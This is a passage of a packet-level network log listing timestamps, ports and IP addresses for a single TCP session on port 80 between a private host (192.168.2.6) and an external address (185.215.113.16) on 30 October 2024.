Oct 30, 2024 05:25:15.094851017 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.094857931 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.094865084 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.094969988 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.094981909 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.094991922 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095004082 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095021963 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095033884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095046043 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095057011 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.095102072 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095113039 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095134020 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095145941 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095155001 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.095175028 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095186949 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095199108 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095227003 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.095235109 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095247030 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095257998 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095331907 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.095346928 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095355034 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.095383883 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095395088 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095408916 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.095474958 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095487118 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095499992 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095511913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095523119 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095547915 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.095642090 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.095701933 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095722914 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095735073 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095788956 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095798969 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.095877886 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.095902920 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095915079 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095927954 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.095937967 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.096031904 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.096031904 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.134335995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134346962 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134361029 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134372950 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134383917 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134393930 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134411097 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134468079 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134476900 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134485960 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134500980 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134510994 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134521008 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134532928 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134542942 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134555101 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.134555101 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.134583950 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134634018 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.134654999 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134665012 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134675980 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134702921 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.134778023 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.134797096 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134807110 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134818077 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134833097 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134844065 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.134876966 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.134942055 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.134993076 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.135025024 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.135035038 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.135051966 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.135080099 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.135140896 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.135160923 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.135171890 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.135226965 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.135238886 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.135253906 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.135332108 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.135344982 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.135379076 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.135390997 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.135402918 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.135431051 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.135485888 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.135503054 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.135512114 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.135529995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.135567904 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.135579109 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.135586977 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.135674000 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.153268099 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153284073 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153295040 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153304100 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153316021 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153325081 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153336048 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153347015 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153418064 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153429985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153439999 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153538942 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153553009 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.153553009 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.153559923 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153569937 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153579950 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153589964 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153609991 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.153707981 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.153753996 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153770924 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153779984 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.153842926 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.153907061 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.178514957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.178529978 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.178535938 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.178539991 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.178548098 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.178553104 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.178565979 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.178570032 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.178834915 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.212346077 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212378979 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212384939 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212393999 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212402105 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212408066 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212479115 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212488890 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212496042 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212567091 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212579012 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212589979 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212600946 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212613106 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212687969 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.212713957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212743998 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.212768078 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212779045 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212795019 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.212826014 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212841034 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212877989 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212929010 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.212937117 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212949038 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.212960958 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.213032961 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.213057041 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.213078976 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.213088989 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.213099957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.213171959 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.213222980 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.213232994 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.213243008 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.213264942 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.213274002 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.213433027 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.213433027 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.213495970 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.213551044 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.213562012 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.213570118 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.213581085 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.213592052 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.213615894 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.213634014 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.213644981 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.213655949 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.213793039 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.251800060 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.251811981 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.251821995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.251832008 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.251842976 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.251938105 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.251960039 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.251971006 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.251981974 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.251991987 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252003908 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252016068 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.252021074 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252099991 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.252142906 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252171993 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252183914 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252217054 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.252233028 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252298117 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.252305031 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252316952 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252326965 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252336979 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252347946 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252444029 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.252527952 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252538919 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252549887 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252589941 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252621889 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.252639055 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252650976 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252662897 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.252705097 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252716064 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252727985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252765894 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.252861977 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.252877951 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252929926 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252943039 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.252990961 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.253000021 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.253007889 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.253021002 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.253097057 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.253120899 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.253185987 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.253196001 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.253209114 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.253264904 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.253283024 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.253293991 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.253309011 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.253496885 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.253496885 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.270622015 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.270652056 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.270665884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.270740986 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.270756960 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.270761967 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.270775080 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.270785093 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.270797968 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.270863056 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.270929098 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.270942926 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.270997047 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.271007061 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.271033049 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.271040916 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.271051884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.271064043 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.271140099 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.271152020 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.271172047 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.271183014 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.271217108 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.271235943 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.271246910 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.271271944 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.271327019 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.295814991 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.295840025 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.295855045 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.295866013 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.295876026 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.295912027 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.295922995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.295934916 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.295948029 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.295955896 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.295978069 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.295994997 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.329921007 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.329942942 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.329955101 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.329966068 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.329978943 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.329988003 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330001116 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330013990 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330018997 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330038071 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330050945 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330064058 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330069065 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330069065 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330080032 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330095053 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330108881 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330113888 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330128908 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330141068 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330182076 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330282927 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330293894 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330303907 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330382109 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330393076 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330401897 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330420017 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330420017 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330420017 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330426931 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330436945 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330446959 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330475092 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330486059 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330492973 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330492973 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330492973 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330524921 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330782890 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330854893 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330873966 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330883980 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330894947 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330904961 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.330924034 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330984116 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330984116 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.330997944 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.331023932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.331032991 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.331043005 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.331068993 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.331077099 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.331087112 CET	80	49993	185.215.113.16	192.168.2.6
